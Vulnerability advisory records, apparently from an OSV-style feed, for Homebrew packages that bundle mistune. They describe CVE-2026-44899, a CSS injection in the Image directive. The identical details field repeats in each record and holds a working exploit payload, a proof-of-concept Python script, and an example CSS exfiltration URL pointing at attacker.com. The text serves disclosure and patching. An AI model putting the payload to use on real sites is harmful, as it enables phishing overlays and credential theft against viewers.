{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "adr-viewer",
        "purl": "pkg:brew/adr-viewer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0_6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-adr-viewer-CVE-2026-44899",
  "modified": "2026-09-18T14:56:30Z",
  "published": "2026-08-13T16:35:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "buku",
        "purl": "pkg:brew/buku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1_6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties \u2014 including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` \u2014 using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")   # no $ anchor \u2014 prefix match only\n\ndef _parse_attrs(options):\n    height = options.get(\"height\")\n    width  = options.get(\"width\")\n    if height and _num_re.match(height):   # passes if value STARTS with a digit\n        attrs[\"height\"] = height           # full value stored, not just digits\n    if width and _num_re.match(width):     # same \u2014 prefix-only check\n        attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n    if width.isdigit():\n        img += \u0027 width=\"\u0027 + width + \u0027\"\u0027   # safe: integer \u2192 HTML attribute\n    else:\n        style += \"width:\" + width + \";\"   # UNSAFE: non-integer \u2192 raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"photo.jpg\" alt=\"safe image\" width=\"400\" height=\"300\" /\u003e\u003c/div\u003e\n```\n\n**Step 2 \u2014 Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 \u2014 Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` \u2014 starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` \u2014 overrides height to full viewport height\n- `;position:fixed` \u2014 lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` \u2014 anchors overlay to the top-left corner\n- `;z-index:9999` \u2014 places it above all other page content\n- `;background-color:#e11d48` \u2014 fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` \u2014 adds a bright yellow border\n- `;color:#fff;opacity:.93` \u2014 styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\n```\n```\n\n**Step 4 \u2014 Observe the injected `style=` in the output**\n\n```python\nex_src = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n\u003cdiv class=\"block-image\"\u003e\u003cimg src=\"x.jpg\" alt=\"\u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\" style=\"width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;\" /\u003e\u003c/div\u003e\n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `\u003cimg\u003e` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection \u2014 width/height use prefix-only re.match().\n\nExploit combines: position:fixed  +  background-color  +  outline colour\n\u2192 a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src  = (\n    \"```{image} photo.jpg\\n\"\n    \":width: 400\\n\"\n    \":height: 300\\n\"\n    \":alt: safe image\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:\u003cvalue\u003e;\".\n# This single :width: value smuggles a full CSS attack chain:\n#   position:fixed  \u2192 overlay sits above the entire page\n#   top/left/width/height \u2192 covers 100 % of the viewport\n#   background-color:#e11d48 \u2192 vivid crimson fill\n#   outline:8px solid #facc15 \u2192 bright yellow border\n#   color:#fff \u2192 white alt-text label\n#   z-index:9999 \u2192 on top of everything\nex_file = \"exploit_h6.md\"\nex_src  = (\n    \"```{image} x.jpg\\n\"\n    \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n    \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n    \":alt: \u26a0 CSS INJECTED \u2014 click to dismiss \u26a0\\n\"\n    \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n      font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n      box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n    font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n          background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox img{max-width:100%;max-height:100%;object-fit:contain}\n/* override position:fixed on exploit img to keep it inside the preview box */\n.sandbox img[style*=\"position:fixed\"]{position:absolute!important;width:100%!important;\n  height:100%!important;top:0!important;left:0!important}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    header = \"BASELINE\" if kind == \"baseline\" else \"EXPLOIT\"\n    sandbox = f\u0027\u003cdiv class=\"sandbox\"\u003e{out}\u003c/div\u003e\u0027\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{header} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 live render (sandboxed to preview box)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{sandbox}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH6 \u2014 Image CSS Injection\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH6 \u2014 Image Directive CSS Injection\u003c/h1\u003e\n\u003cp class=\"desc\"\u003e\n  \u003ccode\u003e_parse_attrs()\u003c/code\u003e in \u003ccode\u003edirectives/image.py\u003c/code\u003e validates\n  \u003ccode\u003e:width:\u003c/code\u003e / \u003ccode\u003e:height:\u003c/code\u003e with \u003ccode\u003e_num_re.match()\u003c/code\u003e\n  (prefix-only \u2014 no \u003ccode\u003e$\u003c/code\u003e anchor). Anything after the leading digits\n  is accepted verbatim and written straight into a \u003ccode\u003estyle=\u003c/code\u003e attribute.\n  A single \u003ccode\u003e:width:\u003c/code\u003e option is sufficient to smuggle an arbitrary\n  CSS chain: \u003cstrong\u003eposition:fixed \u00b7 background-color \u00b7 outline colour \u00b7 full-viewport overlay\u003c/strong\u003e.\n\u003c/p\u003e\n\u003cdiv class=\"warn\"\u003e\n  \u26a0 The EXPLOIT preview below is sandboxed inside its box.\n  In a real document the crimson overlay would cover the \u003cem\u003eentire browser window\u003c/em\u003e.\n\u003c/div\u003e\n{case(\"baseline\",\n      \"Integer dims \u2192 clean width/height= attributes, no style=\",\n      bl_file, bl_src, bl_out)}\n{case(\"exploit\",\n      \":width: carries position:fixed + background-color + outline \u2192 full-viewport coloured overlay\",\n      ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h6.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h6.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | CSS-based data exfiltration via `background-image: url(https://attacker.com/?leak=...)` is possible in some browser/CSP configurations |\n| **Integrity**    | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |\n| **Availability** | The overlay obscures all page content from the user until dismissed or navigated away |\n\n**Real-world impact scenario:** An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker\u0027s design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.",
  "id": "BREW-buku-CVE-2026-44899",
  "modified": "2026-09-18T15:06:13Z",
  "published": "2026-08-13T16:38:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ccfx-mfmx-2fx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Image Directive CSS Injection Vulnerability",
  "upstream": [
    "GHSA-ccfx-mfmx-2fx9",
    "CVE-2026-44899",
    "PYSEC-2026-2209"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.3",
        "upstream_fixed_in": "3.2.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "iredis",
        "purl": "pkg:brew/iredis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.1_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.3",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.3"
      }
    ]
  },
